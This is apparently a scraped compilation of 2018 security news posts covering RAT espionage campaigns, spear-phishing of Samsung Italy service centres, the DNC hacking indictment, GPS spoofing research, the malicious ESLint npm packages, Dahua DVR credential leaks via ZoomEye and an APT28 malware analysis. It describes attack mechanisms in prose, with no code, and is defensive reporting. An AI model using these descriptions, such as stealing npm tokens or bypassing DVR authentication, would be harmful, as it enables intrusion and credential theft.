“Among the many different malware attacks targeted at high value assets in Ukraine, these attackers haven’t received much public attention – perhaps because of their initial use of open-source-based malware before developing their own strain (Vermin).” concludes the report.

“Employing multiple malware families, as well as various infection mechanisms – including common social engineering techniques but also not-so-common steganography – over the past three years, could be explained by the attackers simply experimenting with various techniques and malware, or it may suggest operations by multiple subgroups.”

Further details on the campaign, including the IoCs are included in the report.

Pierluigi Paganini

(Security Affairs – Ukraine, Vermin RAT)

The post QUASAR, SOBAKEN AND VERMIN RATs involved in espionage campaign on Ukraine appeared first on Security Affairs.

Cyber espionage campaign targets Samsung service centers in Italy

Security researchers from Italian security firm TG Soft have uncovered an ongoing malware campaigns targeting Samsung service centers in Italy.

“TG Soft’s Research Centre (C.R.A.M.) has analyzed the campaign of spear-phishing on 2 april 2018 targeting the service centers of Samsung Italy.” reads the analysis published by TG Soft.

“The campaign analyzed is targeting only the service centers of Samsung Italy,  it’s an attack multi-stage and we have monitored it until July 2018″

The campaign has similarities with the attacks campaigns that targeted similar electronics service centers in Russia that was discovered by Fortinet in June. The attackers’ motivation is still unclear, experts explained that the malicious code is not particularly sophisticated.

The attackers used spear-phishing emails sent to Samsung Italy service center workers. The messages have attached weaponized Excel documents.

The documents trigger the CVE-2017-11882 Office Equation Editor vulnerability to infect users.

According to a technical report published by the experts, this attack and the one against Russian service centers offering maintenance and support for various electronic goods started in the same period, in March.

While Russian service centers were hit by the Imminent Monitor RAT, the attacks on Samsung Italy service centers also involved other RATs, such Netwire and njRAT.

The quality of the spear phishing messages was high in both campaigns, they appear to have been written by a native in Italian and Russian, respectively.

The attachment used in this campaign is an Excel document titled “QRS non autorizzati.xlsx,” while the phishing messages are signed with the name of the Samsung IT Service Manager, a real employee of Samsung Italia, and includes the email and phone numbers of the employee.

Samsung service centers

At the time, the experts were not able to attribute the attack to a specific threat actor. The electronics service centers appear not particularly interesting for attackers because the volume of data it manage is little.

Probably the attackers want to compromise remote management tools used by these services in order to gain control over the computers of the customers that request support to the electronics service centers.

“Command and control servers use services like noip.me or ddns.net, which in combination with a VPN, allow hiding the IP address of the server where the exfiltrated data is sent.” concludes the report.
“During the analysis in some cases, the C2 servers were not online and the RAT failed to contract them, and then returns active after a few tens of hours with a new IP address.
The actors behind this attack remain unknown …”

The Italian version of the report that includes also the IoCs is available here.

Pierluigi Paganini

(Security Affairs – Samsung service centers, spear-phishing)

The post Cyber espionage campaign targets Samsung service centers in Italy appeared first on Security Affairs.

Six Things your Enterprise Needs to Learn from the DNC Hacking Indictment

All politics aside, the United States Department of Justice on Friday unsealed a judicial indictment against a number of individuals alleged to be from Russia’s intelligence services engaged in activities in 2016.

Stepping outside of the context of this party or that party, and politics as a whole – McAfee’s CTO, Steve Grobman noted, “Attribution is amongst the most complex aspects of cyberwar and the US government is in a unique position to make this attribution assessment.  Technical forensics combined with information from trusted intelligence or law enforcement agencies are needed to provide confidence behind identifying actors in an attack or campaign.  These indictments clearly show the US has reason to believe Russia interfered with the election process. “

The level of technical detail also offers practical insight for aspects of organizations’ readiness to react to the threat environment.

1) Nation State Activity is Real

At McAfee, we operate our own Advanced Threat Research.  We employ many professionals whose entire job it is to find ways to break things, to learn how others have already broken things, and to make decisions on the level of risk it represents to our customers and future customers.  Our hope is that our activity is both non-disruptive, ethically conducted, and consistent with our corporate values and our commitments to our customers.  In today’s threat environment, countries throughout the globe are investing in the cyber capabilities to practice intelligence, deception, counter intelligence, and in the past few years, we have documented the crossover from the cyber capability into kinetic effects.

While matters of one service’s actions versus another’s being perceived as “good” or “bad”, a matter of “criminal conspiracy” or “policy” involves many factors and points of view, as a profession it is critical that we recognize this rapidly growing reality for the fact that it is.

This judicial action is another breadcrumb reminding us as enterprise leaders that sophisticated adversaries need resources to act, especially those enterprises involved in services to organizations of public importance.  Organizations should evaluate their customer base, and the services that they provide for relative risks.  Risk has upside opportunity (“Revenue”) but should also prompt questions internally as to whether an organization or subset requires advanced security controls, or more proactive threat detection and resistance measures.

2) Geo-Location is Practically Irrelevant

For many professionals engaged in the early days of information security, we could leverage aspects of connection metadata to make snap judgements about the trustworthiness of requests.  The days of first-jump relays to command and control servers going to a given country’s public IP space or a two- letter country-associated domain are mostly over.

Instead, the organization needs to transition, looking more directly at the behavior of not just users, but of systems, and the access of resources.  At McAfee, we have evolved our own offerings in this space to establish McAfee Behavioral Analytics to discern elevated risks that break established patterns and to put advanced tools like McAfee Investigator in the hands of threat hunters.

Whether using our products or not, today’s enterprise needs to rely on security behaviors that do not look for traditional geographic or demographic identifiers as a means of making a strong determination of trust for access and/or threat identification.

When it comes to identify mis-use, where multi-factor authentication is possible, it should be implemented, with a decreased emphasis on means which are easily open to interception by opponents (like SMS based message codes).  Yubikey, TOTP based generators, and interactive application confirmation by providers like Duo Security are all effective measures to make it more difficult to apply credentials intercepted or cajoled from end users by other means.

3) URL Shorteners can be a Risk Indicator

While for many organizations – especially in the realm of social media analytics – the use of URL shorteners has enabled short-format messaging with business intelligence potential, they are often a means to obscure potentially malicious targets.  The indictment released by the United States Department of Justice highlights the continuing threat that the combination of URL Shortening and the user-focused technique of Spear Phishing continue to present as a means to attack the enterprise.

Aside from education campaigns to help users distinguish legitimate links and to help them become more sensitive to the risk, the organization can also consider web access methods for greater control and recognition of potential threats.

Systems like User Entity Behavioral Analytics (UEBA) can identify outlier websites not otherwise accessed at the organization and the presence or use of unknown URL shorteners can itself be a risk indicator.  The security operations team may want to look at the identification/risk management of certain URL shorteners over time to aid in determining which become commonly seen in the wild in the organization’s recent incidents, and thus could or should be managed in email and web access hygiene.

4) Vulnerability Management is a Key Risk Mitigation

I’ve never known a security professional who skips into the office with their coffee and announces, “I love patching servers.”  Never.  As experienced security leaders, we know how hard it can be to manage the impact to production systems, to identify system owners, to work together to maintain a cadence of patching.  Sometimes, even just the heterogeneous nature of the modern operating environment can be its own challenge!

The alleged activity of the identified conspirators reminds us how critical the public attack surface remains in protecting the enterprise as a whole.  Try as we might, each of our public infrastructure will maintain a footprint.  We “leak” details of our enterprise systems as a necessary byproduct of creating the ability for those systems to technically operate.  DNS Records.  Public IP block ownership.  Routing advertisements.  Job listings.  Employee CVs.  Employee social media profiles.

Vulnerability management requires an organization to think about more than patching.  Your organization’s threat surface has to be considered in a broader sense to manage holistic threat consideration and remediation.  The organization can also use public models as a means to check the organization’s readiness to defend against new vulnerabilities ahead of patching or other long-term remediation.

5) Response Threat Hunting is Hard – Trust Nothing

Despite the best efforts of technical security teams, sometimes intelligence and cues are missed.  The reality is that sophisticated adversaries have sophisticated skills and multiple means to stay engaged.  They also have reason and/or desire to hide from security teams.  As security professionals, we have to put personal ego and hubris aside.  Threat hunting in an incident is a time for humble approaches that recognize the adversaries are at or above our own skill level (and hope that is not the case).

In such a case, we go back to a few core fundamentals: we trust nothing.  We require validation for everything.  Each piece of intelligence goes into the picture, and through our tools to identify additional leads to pursue, and is evaluated for potential remediate actions made possible.  While we have talked at length prior about the cyber kill chain, a fundamental truth illustrated in today’s Department of Justice action is that where advanced activity occurs, the entire environment needs to be suspected and become zero trust.

Can you force each network flow to be validated for a time?  Can someone form the organization vouch for a piece of software or a specific node on the network?  Do your pre-work ahead of time to create the space so that when company brand is on the line, you can use maintenance windows, incident response policies, and similar corporate buffers to buy the “right” to shut down a segment, temporarily block a network flow and see what happens, etc.

6) Your organizational data is in the cloud. Your Incident Response needs to be, too.

The cloud was a key opportunity for the organizations compromised in these activities to continue to lose information.  Indications are that when the identity and initial incident was addressed “on premise”, the cloud systems were not connected to those changes.

Your organization has leveraged the advanced capability and time to market of the cloud.  Our recent survey of organizations worldwide indicates that the typical enterprise class organization has dozens of distinct providers hosting corporate data.  Just as your sensitive information may be stored in those providers, yet is part of your brand value and your delivery strategy, your response plans need to integrate intelligence from those providers – and to those providers – for investigation and mitigation.

Building unified visibility across cloud providers requires a deliberate approach and investment from the organizations.  Incident response procedures should include looking at cloud sources for activity from potential Indicators of Compromise, as well as an incident step of considering what actions are needed to manage the risk in cloud providers.

Your cloud is part of your holistic data and threat stance, it also needs to be part of your remediation and resilience plan.

Nation State Actors Remind us of the Fundamentals

The indictment released by the United States Department of Justice describes a multi-faceted effort that involved target research, user-focused phishing, exploiting vulnerable software, malware, and making use of the disconnect between on-premise and cloud management.

For literally years, McAfee has focused on a platform approach to security in our products.  We offer software with advancements like OpenDXL and an actively managed ecosystem of Security Innovation Alliance offerings.  We make these investments for the simple reason that in order to protect and adapt to continuing threats, your organization needs rapidly available, actionable intelligence.  Your organization’s approach to information security should return periodically to verify fundamental information sharing and basic controls, even as advanced capabilities are implemented.

 

The post Six Things your Enterprise Needs to Learn from the DNC Hacking Indictment appeared first on McAfee Blogs.

Researchers show how to manipulate road navigation systems with low-cost devices

Researchers have developed a tool that poses as GPS satellites to deceive nearby GPS receivers and manipulate road navigation systems.

Researchers have developed a tool that poses as GPS satellites to deceive nearby GPS receivers. The kit could be used to deceive receivers used by navigation systems and suggest drivers the wrong direction.

“we explore the feasibility of a stealthy manipulation attack against road navigation systems. The goal is to trigger the fake turn-by-turn navigation to guide the victim to a wrong destination without being noticed.” reads the research paper published by the experts.

“Our key idea is to slightly shift the GPS location so that the fake navigation route matches the shape of the actual roads and trigger physically possible instructions.”

The group of researchers is composed of three teams from Microsoft, Virginia Tech in the US, and the University of Electronic Science and Technology of China.

The boffins were able to spoof packets transmitted by satellites to mobile devices and navigation systems used in the automotive industry.

The tests conducted by experts allowed to remotely change the routes with up to 95 per cent accuracy. The researchers built a radio-transmitting device based on Raspberry Pi, they used just $223 of components.

The radio transmitting device broadcasts fake location data and makes it impossible for the receivers to have the real positioning data from the satellite.

In a Real attack scenario, the device could be used to deceive navigation systems in cars.

navigation systems

“We show that adversaries can build a portable spoofer with low costs (about $223), which can easily penetrate the car body to take control of the GPS navigation system.” continues the paper.

“Our measurement shows that effective spoofing range is 40–50 meters and the target device can consistently latch onto the false signals without losing connections,”  

In order to make the attack stealth the researchers experimented with stashing the spoofing device in the trunk of a car or under the back seat.

They were able to add new route details via a cellular network connection without following the target.

In a test in field conducted in a Chinese parking lot, the researchers deceived a navigation system in 48 seconds by hiding the device in the truck, while if it was under the seat, it took just 38 seconds.

The expert used data from OpenStreetMap to construct routes the target.

“Compared to spoofing a drone or a ship, there are unique challenges to manipulate the road navigation systems. First, road navigation attack has strict geographical constraints. It is far more challenging to perform GPS spoofing attacks in real-time while coping with road maps and vehicle speed limits.” continues the paper.

“In addition, human drivers are in the loop of the attack, which makes a stealthy attack necessary.”

Experts highlighted that the spoofing attacks could be very effective, 40 volunteer drivers involved in a trial found that 95 per cent of the time the attackers were able to trick the targets into following the fake routes.

Such kind of attacks could be particularly dangerous especially when dealing with self-driving cars and trucks.

Researchers provided also countermeasures to prevent the attacks such as the use of encrypted data also for civilian GPS signals.

Pierluigi Paganini

(Security Affairs – GPS spoofing, navigation systems)

The post Researchers show how to manipulate road navigation systems with low-cost devices appeared first on Security Affairs.

Twitter shutters accounts linked to US election hacking

The move comes after special counsel Robert Mueller's indictment of 12 Russians believed to have used the accounts as fronts in US election hacking.

Crooks deployed malicious ESLint packages that steal software registry login tokens

Hackers compromised the npm account of an ESLint maintainer and published malicious versions of eslint packages to the npm registry.

Crooks compromised an ESLint maintainer’s account last week and uploaded malicious packages that attempted to steal login tokens from the npm software registry. npm is the package manager for JavaScript and the world’s largest software registry.

ESLint is open source “pluggable and configurable linter tool” for identifying and reporting on patterns in JavaScript, it was created by Nicholas Zakas.

The affected packages hosted on npm are:

  • eslint-scope version 3.7.2 o, a scope analysis library used by older versions of eslint, and the latest versions of babel-eslint and webpack.
  • eslint-config-eslint version 5.0.2 is a configuration used internally by the ESLint team.

Once the tainted packages are installed, they will download and execute code from pastebin.com that was designed to grab the content of the user’s .npmrc file and send the information to the attacker. This file usually contains access tokens for publishing to npm.

“The attacker modified package.json in both eslint-escope@3.7.2 and eslint-config-eslint@5.0.2, adding a postinstall script to run build.js. This script downloads another script from Pastebin and evals its contents.” wrote Henry Zhu about the eslint-scope attack.

“The script extracts the _authToken from a user’s .npmrc and sends it to histats and statcounter inside the Referer header,” 

The packages were quickly removed once they were discovered by maintainers and the content on pastebin.com was taken down.

“On July 12th, 2018, an attacker compromised the npm account of an ESLint maintainer and published malicious versions of the eslint-scope and eslint-config-eslint packages to the npm registry. On installation, the malicious packages downloaded and executed code from pastebin.com which sent the contents of the user’s .npmrc file to the attacker.” reads the security advisory published by ESLint.

An .npmrc file typically contains access tokens for publishing to npm. The malicious package versions are eslint-scope@3.7.2 and eslint-config-eslint@5.0.2, both of which have been unpublished from npm. The pastebin.com paste linked in these packages has also been taken down.”

ESLint packages

The npm login tokens grabbed by malicious packages don’t include user’s npm password, but npm opted to revoke possibly impacted tokens. Users can revoke existing tokens as suggested by npm.

“We have now invalidated all npm tokens issued before 2018-07-12 12:30 UTC, eliminating the possibility of stolen tokens being used maliciously. This is the final immediate operational action we expect to take today.” reads the npm’s incident report

Further investigation allowed the maintainers to determine that the account was compromised because the ower had reused the same password on multiple accounts and also didn’t enabled two-factor authentication on their npm account.

ESLint released eslint-scope version 3.7.3 and eslint-config-eslint version 5.0.3.

Users who installed the malicious packages need to update npm.

Pierluigi Paganini

(Security Affairs – ESLint packages, hacking)

The post Crooks deployed malicious ESLint packages that steal software registry login tokens appeared first on Security Affairs.

Cyber Defense Magazine – July 2018 has arrived

Cyber Defense Magazine July 2018 Edition has arrived.

We hope you enjoy this month’s edition…packed with over 140 pages of excellent content.  InfoSec Knowledge is Power.  We have 6 years of eMagazines online with timeless content.  Visit our online library by clicking here.

Cyber Defense eMagazine
July 2018 Edition 
has arrived.We hope you enjoy this month’s edition…packed with 140 pages of excellent content.  InfoSec Knowledge is Power.  We have 6 years of eMagazines online with timeless content.  Visit our online library by clicking here.   Please tell your friends tosubscribe – no strings, always free emagazines:

 

 

Cyber Defense Magazine

 

 

FLIPBOOK
PDF

http://www.cyberdefensemagazine.com/newsletters/july-2018/CDM-CYBER-DEFENSE-eMAGAZINE-July-2018.pdf

MOBILE

Our Global Awards are annually given out at the IPEXPO Conference as a global event in Europe every year, Q4.  GLOBAL 2018 Awards – OPEN.  Click here to apply.

Our InfoSec awards are annually given out at the RSA Conference in the United States every year, Q1.  USA 2018 Awards – CLOSED.

Congratulations to our InfoSec Awards 2018 Winners!
WANT TO SEE THE 200 INNOVATORS THAT MADE THE CUT THIS YEAR?
CLICK THIS LINK, HERE.

MAGAZINES        TV        AWARDS  and more platforms under development…

 

 

Sincerely,
TEAM CDM
Cyber Defense Magazine

We are all things Cyber Defense.  Thank you to our amazing readership!

Copyright (C) 2018, Cyber Defense Magazine, part of the Cyber Defense Media Group,
a d/b/a of STEVEN G. SAMUELS LLC  CyberDefense.TV has been launched today!
848 N. Rainbow Blvd. #4496, Las Vegas, NV 89107. EIN: 454-18-8465, DUNS# 078358935.
All rights reserved worldwide. marketing@cyberdefensemagazine.com

The post Cyber Defense Magazine – July 2018 has arrived appeared first on Security Affairs.

Code hosting service GitHub can now scan also for vulnerable Python code

The code hosting service GitHub added Python to the list of programming languages that it is able to auto-scan for known vulnerabilities.

Good news for GitHub users, the platform added Python to the list of programming languages that it is able to auto-scan for known vulnerabilities.

In March, the code hosting service GitHub confirmed that the introduction of GitHub security alerts in November allowed obtaining a significant reduction of vulnerable code libraries on the platform.

Github alerts warn developers when including certain flawed software libraries in their projects and provide advice on how to address the issue.

Last year GitHub first introduced the Dependency Graph, a feature that lists all the libraries used by a project. The feature supports JavaScript and Ruby, and the company announced to add the support for Python within the year.

GitHub Security Alerts

The GitHub security alerts feature introduced in November is designed to alert developers when one of their project’s dependencies has known flaws. The Dependency graph and the security alerts feature have been automatically enabled for public repositories, but they are opt-in for private repositories.

The availability of a dependency graph allows notifying the owners of the projects when it detects a known security vulnerability in one of the dependencies and suggests known fixes from the GitHub community.

An initial scan conducted by GitHub revealed more than 4 million vulnerabilities in more than 500,000 repositories. Github notified affected users by December 1, more than 450,000 of the vulnerabilities were addressed either by updating the affected library or removing it altogether.

Vulnerabilities are in a vast majority of cases addressed within a week by active developers.

With the support of a Python language, developers will have the opportunity to receive alerts also for their code written in this powerful programming language.

“We’re pleased to announce that we’ve shipped Python support. As of this week, Python users can now access the dependency graph and receive security alerts whenever their repositories depend on packages with known security vulnerabilities.” reads the announcement published by GitHub quality engineer Robert Schultheis.

“We’ve chosen to launch the new platform offering with a few recent vulnerabilities. Over the coming weeks, we will be adding more historical Python vulnerabilities to our database. Going forward, we will continue to monitor the NVD feed and other sources, and will send alerts on any newly disclosed vulnerabilities in Python packages.”

The company confirmed that the scanner is enabled by default on public repositories, while for private repositories the maintainers need to opt into security alerts, or by giving the dependency graph access to the repo from the “Insights” tab.

Pierluigi Paganini

(Security Affairs – hacking, secure coding)

The post Code hosting service GitHub can now scan also for vulnerable Python code appeared first on Security Affairs.

Cryptocurrency Mining Malware Hits Over 1 Million Computers in China

By Julia Sowells Senior Information Security Specialist at Hacker Combat, Over one million computers in China have been infected by cryptocurrency mining malware resulting in hackers earning over $2 million in

The post Cryptocurrency Mining Malware Hits Over 1 Million Computers in China appeared first on The Cyber Security Place.

Director of National Intelligence warns of devastating cyber threat to US infrastructure

The Director of the National Intelligence Dan Coats warned last week of a devastating cyber threat to US infrastructure, he said that “warning lights are blinking red again.”

The Director of National Intelligence Dan Coats warned last week of a devastating cyber threat to US infrastructure, he used the following words to express his concerns:

“warning lights are blinking red again” 

The U.S. intelligence chief highlighted that computer networks of US government agencies, enterprises, and academic institutions are under incessant attack launched by foreign states.

Russia, North Korea, China, and Iran are the most persistent attacker, the number of their attacks continue to increase and the level of sophistication is growing too.

US infrastructure threat

The Director of National Intelligence believes that Russia is the most aggressive threat actor and recent events demonstrate it. On Friday, the special Counsel Robert Mueller, who indicted on February 13 Russians for a massive operation aimed to influence the 2016 Presidential election, charged 12 Russian intelligence officers working under the GRU of carrying out “large-scale cyber operations” to steal Democratic Party documents and emails.

Of the four, “Russia has been the most aggressive foreign actor, no question,” he said.

There is a great difference between campaigns launched by China and Russian ones.

According to Coats, China operates with the primary intent on stealing military and industrial secrets and had “capabilities, resources that perhaps Russia doesn’t have.” The Kremlin operated to undermine U.S. values and democratic institutions.

Coats spoke at the Hudson Institute think tank shortly after the announcement of the indictment.

Coats warned of threat a “crippling cyber attack on our critical infrastructure” by a nation state actor is growing.

“Coats said the U.S. government has not yet detected the kinds of cyber attacks and intrusions that officials say Russia launched against state election boards and voter data bases before the 2016 election.” reported the Reuters.

“However, we fully realize that we are just one click away of the keyboard from a similar situation repeating itself,” Coats continued.

He made a parallelism on the current situation in the cyberspace with the “alarming activities” that U.S. intelligence detected before al Qaeda conducted Sept. 11, 2001 attack.

“The system was blinking red. Here we are nearly two decades later and I’m here to say the warning lights are blinking red again,” he said.

While I’m writing, President Donald Trump has arrived at Finland’s Presidential Palace for a summit with Russian President Vladimir Putin.

Ahead of the Trump-Putin meeting in Helsinki on Monday, the US President announced that he might ask the extradition of the 12 Russian intelligence officers accused of attempting to interfere with the 2016 presidential election.

Journalist asked Trump whether he would request the extradition to the US of the Russian intelligence officers accused of hacking Hillary Clinton‘s presidential campaign, and the reply was clear

“Well, I might.” Trump said

“I hadn’t thought of that. But I certainly, I’ll be asking about it, but again, this was during the Obama administration. They were doing whatever it was during the Obama administration.”

Coats also mentioned the so-called “troll factory” operated by unnamed “individuals” affiliated with the Internet Research Agency based in the St. Petersburg that was indicted by federal authorities in February.

These individuals have been “creating new social media accounts, masquerading as Americans and then using these accounts to draw attention to divisive issues,” he said.

Pierluigi Paganini

(Security Affairs – US infrastructure, Russia)

The post Director of National Intelligence warns of devastating cyber threat to US infrastructure appeared first on Security Affairs.

Eight Weak Links that Make Cryptocurrency Exchanges Vulnerable

Cryptocurrency is all the rage right now. There are currently over 1,600 different cryptocurrencies in circulation with a combined value approaching $350 billion.The top three cryptocurrencies alone—Bitcoin, Ethereum, and Ripple—are worth more

The post Eight Weak Links that Make Cryptocurrency Exchanges Vulnerable appeared first on The Cyber Security Place.

ZoomEye IoT search engine cached login passwords for tens of thousands of Dahua DVRs

A security researcher discovered that the IoT search engine ZoomEye has cached login passwords for tens of thousands of Dahua DVRs.

The IoT search engine ZoomEye has cached login passwords for tens of thousands of Dahua DVRs, the discovery was made by security researcher Ankit Anubhav, Principal Researcher at NewSky Security.

Dahua DVRs

Anubhav explained that the passwords are related to Dahua DVRs running very old firmware that is known to be affected by a five-year-old vulnerability tracked as CVE-2013-6117.

Even if the vulnerability has been patched, many Dahua devices are still running ancient firmware.

The CVE-2013-6117 was discovered by the security expert Jake Reynolds and affects Dahua DVR 2.608.0000.0 and 2.608.GV00.0. The flaw could be exploited by remote attackers to bypass authentication and obtain sensitive information including user credentials, change user passwords, clear log files, and perform other actions via a request to TCP port 37777.

An attacker just needs to initiate a raw TCP connection on a vulnerable Dahua DVR on port 37777 to send the exploit code that triggers the issue.

Once the Dahua device receives this code, it will respond with DDNS credentials for accessing the device, and other data, all in plaintext.

Anubhav explained that ZoomEye scans port 37777 caching the output in plaintext, this means that everyone that with a ZoomEye account can scrap results to obtain the credentials of tens of thousands

Anubhav notified the issue to ZoomEye asking it to remove the passwords from its cached results, but the expert is still waiting for a reply.

The expert explained that he discovered the issue after reading a post published by the author of the BrickerBot IoT malware that exploited the flaw to hacked hijack and brick Dahua DVRs in the past.

Pierluigi Paganini

(Security Affairs – IoT search engine ZoomEye, Dahua DVRs)

The post ZoomEye IoT search engine cached login passwords for tens of thousands of Dahua DVRs appeared first on Security Affairs.

Security Affairs: CSE Malware ZLab – Operation Roman Holiday – Hunting the Russian APT28

Researchers from the Z-Lab at CSE Cybsec analyzed a new collection of malware allegedly part of a new espionage campaign conducted by the APT28 group.

It was a long weekend for the researchers from the Z-Lab at CSE Cybsec that completed the analysis a number of payloads being part of a new cyber espionage campaign conducted by the Russian APT28 group (aka Fancy BearPawn StormSednit, Sofacy, and Strontium).

Last time experts attributed an ongoing campaign to APT28 was in June, when experts from Palo Alto Networks noticed that the group was using new tools in a recent string of attacks.

Palo Alto Networks explained t the APT group has shifted focus in their interest, from NATO member countries and Ukraine to towards the Middle East and Central Asia.

The researchers observed several attacks leveraging the SPLM and the Zebrocy tool between the second and fourth quarters of 2017 against organizations in Asia. The list of targeted countries included China, Mongolia, South Korea and Malaysia.

While conducting ordinary threat intelligence activities, experts at Z-Lab at CSE Cybsec have recently discovered a new series of malware samples that were submitted to the major online sandboxes.

In particular, they noticed a malware sample submitted to Virus Total that was attributed by some experts to the Russian APT28 group.

The APT28 group has been active since at least 2007 and it has targeted governments, militaries, and security organizations worldwide. The group was involved also in the string of attacks that targeted 2016 Presidential election.

With the help of the researcher that goes online with the Twitter handle Drunk Binary (@DrunkBinary) researchers from Z-Lab obtained a collection of samples to compare with the one that was uploaded on VirusTotal platform.

The analysis revealed that it was a new variant of the infamous APT28 backdoor tracked as X-Agent, in particular, a new Windows version that appeared in the wild in June,

The attack analyzed CSE Cybsec is multi-stage, the experts discovered an initial dropper malware written in Delphi programming language (a language used by the APT28 group in other campaigns) downloads a second stage payload from the Internet and executes it.

APT28 Roman Holiday.png

The payload communicates to the server using HTTPS protocol, making it impossible to eavesdrop on the malicious traffic it generates.

The experts also analyzed another malicious DLL, apparently unrelated to the previous samples, that presents many similarities with other payloads attributed to the Russian APT group.

This malware immediately caught the attention of the expert because it contacts a C2 with the name “marina-info.net” a clear reference to the Italian Military corp, Marina Militare. This lead them into believing that the malicious code was developed as part of targeted attacks against the Italian Marina Militare, or some other entities associated with it.

This last DLL seems to be completely unconnected with the previous samples, but further investigation leads the experts into believing that it was an additional component used by APT28 in this campaign to compromise the target system.

APT28 has a rich arsenal composed of a large number of modular malware and the dll is the component of the X-Agent dissected by the Z-Lab.

X-Agent is a persistent payload injected into the victim machine that can be compiled for almost any Operating System and can be enhanced by adding new ad-hoc component developed for the specific cyber-attack.

In this case, the component was submitted to online sandboxes while the new campaign was ongoing. The experts cannot exclude that the APT group developed the backdoor to target specific organizations including the Italian Marina Militare or any other subcontractor. In their analysis, the experts were not able to directly connect the malicious dll file to the X-Agent samples, but they believe they are both parts of a well-coordinated surgical attack powered by APT28 tracked by Z-Lab as Roman Holiday because it targeted Italian organizations in the summertime.

The dll that connect to “marina-info.net” might be the last stage-malware that is triggered only when particular conditions occur, for example when the malware infects a system with an IP address belonging to specific ranges.

Further details on the malware samples analyzed by CSE Cybsec, including the IoCs and Yara Rules are available in the report published by researchers at ZLAb.

You can download the full ZLAB Malware Analysis Report at the following URL:

http://csecybsec.com/download/zlab/20180713_CSE_APT28_X-Agent_Op-Roman Holiday-Report_v6_1.pdf

 

Pierluigi Paganini

(Security Affairs – Operation Roman Holiday, APT28)

The post CSE Malware ZLab – Operation Roman Holiday – Hunting the Russian APT28 appeared first on Security Affairs.



Security Affairs

CSE Malware ZLab – Operation Roman Holiday – Hunting the Russian APT28

Researchers from the Z-Lab at CSE Cybsec analyzed a new collection of malware allegedly part of a new espionage campaign conducted by the APT28 group.

It was a long weekend for the researchers from the Z-Lab at CSE Cybsec that completed the analysis a number of payloads being part of a new cyber espionage campaign conducted by the Russian APT28 group (aka Fancy BearPawn StormSednit, Sofacy, and Strontium).

Last time experts attributed an ongoing campaign to APT28 was in June, when experts from Palo Alto Networks noticed that the group was using new tools in a recent string of attacks.

Palo Alto Networks explained t the APT group has shifted focus in their interest, from NATO member countries and Ukraine to towards the Middle East and Central Asia.

The researchers observed several attacks leveraging the SPLM and the Zebrocy tool between the second and fourth quarters of 2017 against organizations in Asia. The list of targeted countries included China, Mongolia, South Korea and Malaysia.

While conducting ordinary threat intelligence activities, experts at Z-Lab at CSE Cybsec have recently discovered a new series of malware samples that were submitted to the major online sandboxes.

In particular, they noticed a malware sample submitted to Virus Total that was attributed by some experts to the Russian APT28 group.

The APT28 group has been active since at least 2007 and it has targeted governments, militaries, and security organizations worldwide. The group was involved also in the string of attacks that targeted 2016 Presidential election.

With the help of the researcher that goes online with the Twitter handle Drunk Binary (@DrunkBinary) researchers from Z-Lab obtained a collection of samples to compare with the one that was uploaded on VirusTotal platform.

The analysis revealed that it was a new variant of the infamous APT28 backdoor tracked as X-Agent, in particular, a new Windows version that appeared in the wild in June,

The attack analyzed CSE Cybsec is multi-stage, the experts discovered an initial dropper malware written in Delphi programming language (a language used by the APT28 group in other campaigns) downloads a second stage payload from the Internet and executes it.

APT28 Roman Holiday.png

The payload communicates to the server using HTTPS protocol, making it impossible to eavesdrop on the malicious traffic it generates.

The experts also analyzed another malicious DLL, apparently unrelated to the previous samples, that presents many similarities with other payloads attributed to the Russian APT group.

This malware immediately caught the attention of the expert because it contacts a C2 with the name “marina-info.net” a clear reference to the Italian Military corp, Marina Militare. This lead them into believing that the malicious code was developed as part of targeted attacks against the Italian Marina Militare, or some other entities associated with it.

This last DLL seems to be completely unconnected with the previous samples, but further investigation leads the experts into believing that it was an additional component used by APT28 in this campaign to compromise the target system.

APT28 has a rich arsenal composed of a large number of modular malware and the dll is the component of the X-Agent dissected by the Z-Lab.

X-Agent is a persistent payload injected into the victim machine that can be compiled for almost any Operating System and can be enhanced by adding new ad-hoc component developed for the specific cyber-attack.

In this case, the component was submitted to online sandboxes while the new campaign was ongoing. The experts cannot exclude that the APT group developed the backdoor to target specific organizations including the Italian Marina Militare or any other subcontractor. In their analysis, the experts were not able to directly connect the malicious dll file to the X-Agent samples, but they believe they are both parts of a well-coordinated surgical attack powered by APT28 tracked by Z-Lab as Roman Holiday because it targeted Italian organizations in the summertime.

The dll that connect to “marina-info.net” might be the last stage-malware that is triggered only when particular conditions occur, for example when the malware infects a system with an IP address belonging to specific ranges.

Further details on the malware samples analyzed by CSE Cybsec, including the IoCs and Yara Rules are available in the report published by researchers at ZLAb.

You can download the full ZLAB Malware Analysis Report at the following URL:

http://csecybsec.com/download/zlab/20180713_CSE_APT28_X-Agent_Op-Roman Holiday-Report_v6_1.pdf

 

Pierluigi Paganini

(Security Affairs – Operation Roman Holiday, APT28)

The post CSE Malware ZLab – Operation Roman Holiday – Hunting the Russian APT28 appeared first on Security Affairs.

US indicts 12 Russians Intelligence Agents for hacking and leaking DNC emails

U.S. charges 12 Russian intelligence officers of hacking Democrats in 2016 election campaign

Twelve Russian intelligence officers were charged on Friday by the U.S. Justice Department for hacking the computer networks of 2016 Democratic presidential candidate, Hillary Clinton and the Democratic Party. The shocking announcement comes just two days before U.S. President Donald Trump, who is currently on a visit to Britain, is scheduled to meet Russian President Vladimir Putin, for a summit in Helsinki, Finland.

The indictment, was secured by Robert Mueller, the special counsel investigating alleged Russian election meddling in the November 2016 vote and whether any members of Trump’s campaign team conspired with Moscow.

The 11 count, 29-page indictment, accuses all the 12 Russian military intelligence agency known as the GRU for carrying out “large-scale cyber operations” to steal Clinton campaign and Democratic Party documents and emails, as part of a Russian government effort to interfere with the election.

According to Mr. Mueller, the agents used “spearphishing” — a hacking method involving the use of deceptive email addresses — to fake Clinton campaign and DNC staffers and hacked into the election database of a U.S. state. The hackers then filtered the pilfered material through fake personas called DC Leaks and Guccifer 2.0, as well as others, to try to influence voters.

The suspects “covertly monitored the computers, implanted hundreds of files containing malicious computer code, and stole emails and other documents,” said Deputy Attorney General Rod Rosenstein while announcing the indictments at a press conference in Washington on Friday. “The goal of the conspirators was to have an impact on the election. What impact they may have had .?.?. is a matter of speculation; that’s not our responsibility.”

However, Rosenstein said the indictments did not claim that the cyber-attacks eventually affected vote count or changed the outcome of the 2016 election.

“There’s no allegation that the conspiracy changed the vote count or affected any election result,” Rosenstein said.

“There’s no allegation in this indictment that any American citizen committed a crime,” Rosenstein added, although the “conspirators corresponded with several Americans during the course of the conspiracy through the internet.”

